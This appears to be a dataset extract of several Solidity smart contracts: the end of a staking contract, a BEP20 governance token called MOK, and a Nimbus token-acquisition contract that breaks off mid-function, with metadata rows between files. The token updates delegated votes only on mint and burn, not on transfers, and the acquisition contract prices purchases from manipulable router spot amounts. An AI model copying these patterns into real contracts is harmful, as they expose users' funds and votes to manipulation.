return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract LightSaberStakingContract is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 122,125 | 11,764 |
2b2b997cd9e03eb403ce8d0697ec470fdc7f5b3fc52ab7863f2991f6fd54d0e9
| 28,403 |
.sol
|
Solidity
| false |
350695084
|
MocktailSwap/mocktailswap-contracts
|
3673904f112d2956ff4ef82befcaa3943ff77a76
|
MokToken.sol
| 4,579 | 17,873 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
contract Context {
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
contract MOKToken is BEP20('Mocktail', 'MOK') {
// Removed _alloc variable
// Added Proper Order of Layout
// Type Declaration -> State Variables -> Events -> Functions
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
mapping (address => uint32) public numCheckpoints;
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
mapping (address => uint) public nonces;
mapping (address => address) internal _delegates;
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
function burn(address _from, uint256 _amount) public onlyOwner {
_burn(_from, _amount);
_moveDelegates(_delegates[_from], address(0), _amount);
}
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "MOK::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "MOK::delegateBySig: invalid nonce");
require(now <= expiry, "MOK::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "MOK::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "MOK::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 243,392 | 11,765 |
e22c343ba7ae6eb9af977a78755fdca0579da5f6d974803eecc9b32b3dd90f8c
| 16,839 |
.sol
|
Solidity
| false |
323452649
|
nimbusplatformorg/nim-smartcontract
|
8b8e8feb1fdfb5c33e8a506bfb032b51e5526b23
|
contracts/InitialAcquisition/NimbusInitialAcquisition.sol
| 4,149 | 16,708 |
pragma solidity =0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed from, address indexed to);
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner {
require(msg.sender == owner, "Ownable: Caller is not the owner");
_;
}
function transferOwnership(address transferOwner) external onlyOwner {
require(transferOwner != newOwner);
newOwner = transferOwner;
}
function acceptOwnership() virtual external {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
abstract contract Pausable is Ownable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function pause() external onlyOwner whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() external onlyOwner whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
interface INBU is IERC20 {
function give(address recipient, uint256 amount, uint vesterId) external;
}
interface INimbusReferralProgram {
function userSponsorByAddress(address user) external view returns (uint);
function userIdByAddress(address user) external view returns (uint);
function userAddressById(uint id) external view returns (address);
function userSponsorAddressByAddress(address user) external view returns (address);
}
interface INimbusStakingPool {
function stakeFor(uint amount, address user) external;
function balanceOf(address account) external view returns (uint256);
function stakingToken() external view returns (IERC20);
}
interface INBU_WETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
interface INimbusRouter {
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
contract NimbusInitialAcquisition is Ownable, Pausable {
INBU public immutable NBU;
address public immutable NBU_WETH;
INimbusReferralProgram public referralProgram;
INimbusStakingPool[] public stakingPools; //staking pools for checking sponsor balances
INimbusStakingPool public stakePool; //staking pool for staking purchased assets
address public recipient;
INimbusRouter public swapRouter;
mapping (address => bool) public allowedTokens;
address public swapToken;
uint public swapTokenAmountForBonusThreshold;
uint public sponsorBonus;
mapping(address => uint) public unclaimedBonusBases;
bool public useWeightedRates;
uint public weightedEthNbuExchangeRate;
mapping(address => uint) public weightedTokenNbuExchangeRates;
event BuyNbuForToken(address indexed token, uint tokenAmount, uint nbuAmount, address indexed nbuRecipient);
event BuyNbuForEth(uint ethAmount, uint nbuAmount, address indexed nbuRecipient);
event ProcessSponsorBonus(address indexed sponsor, address indexed user, uint bonusAmount);
event AddUnclaimedSponsorBonus(address indexed user, uint nbuAmount);
event UpdateTokenNbuWeightedExchangeRate(address indexed token, uint newRate);
event ToggleUseWeightedRates(bool useWeightedRates);
event Rescue(address indexed to, uint amount);
event RescueToken(address indexed token, address indexed to, uint amount);
constructor (address nbu, address router, address nbuWeth, address pool) {
NBU = INBU(nbu);
NBU_WETH = nbuWeth;
sponsorBonus = 10;
swapRouter = INimbusRouter(router);
recipient = address(this);
stakePool = INimbusStakingPool(pool);
}
function availableInitialSupply() external view returns (uint) {
return NBU.balanceOf(address(this));
}
function getNbuAmountForToken(address token, uint tokenAmount) public view returns (uint) {
if (!useWeightedRates) {
address[] memory path = new address[](2);
path[0] = token;
path[1] = address(NBU);
return swapRouter.getAmountsOut(tokenAmount, path)[1];
} else {
return tokenAmount * weightedTokenNbuExchangeRates[token] / 1e18;
}
}
function getNbuAmountForEth(uint ethAmount) public view returns (uint) {
return getNbuAmountForToken(NBU_WETH, ethAmount);
}
function getTokenAmountForNbu(address token, uint nbuAmount) public view returns (uint) {
if (!useWeightedRates) {
address[] memory path = new address[](2);
path[0] = token;
path[1] = address(NBU);
return swapRouter.getAmountsIn(nbuAmount, path)[0];
} else {
return nbuAmount * 1e18 / weightedTokenNbuExchangeRates[token];
}
}
function getEthAmountForNbu(uint nbuAmount) public view returns (uint) {
return getTokenAmountForNbu(NBU_WETH, nbuAmount);
}
function currentBalance(address token) external view returns (uint) {
return INBU(token).balanceOf(address(this));
}
function _buyNbu(address token, uint tokenAmount, uint nbuAmount, address nbuRecipient) private {
stakePool.stakeFor(nbuAmount, nbuRecipient);
emit BuyNbuForToken(token, tokenAmount, nbuAmount, nbuRecipient);
_processSponsor(nbuAmount);
}
function _processSponsor(uint nbuAmount) private {
address sponsorAddress = _getUserSponsorAddress();
if (sponsorAddress != address(0)) {
uint minNbuAmountForBonus = getNbuAmountForToken(swapToken, swapTokenAmountForBonusThreshold);
if (nbuAmount > minNbuAmountForBonus) {
uint sponsorAmount = NBU.balanceOf(sponsorAddress);
for (uint i; i < stakingPools.length; i++) {
if (sponsorAmount > minNbuAmountForBonus) break;
sponsorAmount += stakingPools[i].balanceOf(sponsorAddress);
}
if (sponsorAmount > minNbuAmountForBonus) {
uint bonusBase = nbuAmount + unclaimedBonusBases[msg.sender];
uint sponsorBonusAmount = bonusBase * sponsorBonus / 100;
NBU.give(sponsorAddress, sponsorBonusAmount, 3);
unclaimedBonusBases[msg.sender] = 0;
emit ProcessSponsorBonus(sponsorAddress, msg.sender, sponsorBonusAmount);
} else {
unclaimedBonusBases[msg.sender] += nbuAmount;
emit AddUnclaimedSponsorBonus(msg.sender, nbuAmount);
}
} else {
unclaimedBonusBases[msg.sender] += nbuAmount;
emit AddUnclaimedSponsorBonus(msg.sender, nbuAmount);
}
} else {
unclaimedBonusBases[msg.sender] += nbuAmount;
emit AddUnclaimedSponsorBonus(msg.sender, nbuAmount);
}
}
function _getUserSponsorAddress() private view returns (address) {
if (address(referralProgram) == address(0)) {
return address(0);
} else {
return referralProgram.userSponsorAddressByAddress(msg.sender);
}
}
function buyExactNbuForTokens(address token, uint nbuAmount, address nbuRecipient) external whenNotPaused {
require(allowedTokens[token], "NimbusInitialAcquisition: Not allowed token");
uint tokenAmount = getTokenAmountForNbu(token, nbuAmount);
TransferHelper.safeTransferFrom(token, msg.sender, recipient, tokenAmount);
_buyNbu(token, tokenAmount, nbuAmount, nbuRecipient);
